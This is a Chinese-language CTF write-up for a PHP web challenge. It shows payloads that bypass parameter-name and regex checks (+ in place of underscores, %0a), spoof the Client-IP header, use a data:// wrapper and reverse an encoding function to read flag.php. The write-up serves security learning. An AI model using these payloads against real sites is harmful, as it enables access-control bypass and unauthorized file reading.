打开后在源码发现:
这里就要利用php解析字符串的特性bypass,
具体参考:https://www.freebuf.com/articles/web/213359.html
经过测验可以使用下列字符代替下划线来绕过第一个if的判断
. %20(空格的url编码)+
第二个if可以看到存在 ^ $,可以使用%0a截断绕过
payload:
?b+u+p+t=23333%0a
来到secrettw.php
在源码发现一段jsfuck,直接在控制台运行
随便post一个值看到源码:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
1.通过client-ip:127.0.0.1来绕过ip的限制;
2.通过data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=来绕过第二个判断
3.然后通过file_get_contents读取flag.php的内容,但是这里经过了cahnge函数,所以我们要在chang一下,直接写脚本:
<?php
$str='flag.php';
$re='';
for($i=0;$i<strlen($str);$i++)
{
$re.=chr(ord($str[$i])-2*$i);
}
echo base64_encode($re);
?>
得到:ZmpdYSZmXGI=
所以在bp里面增加client-ip,在传参
得到flag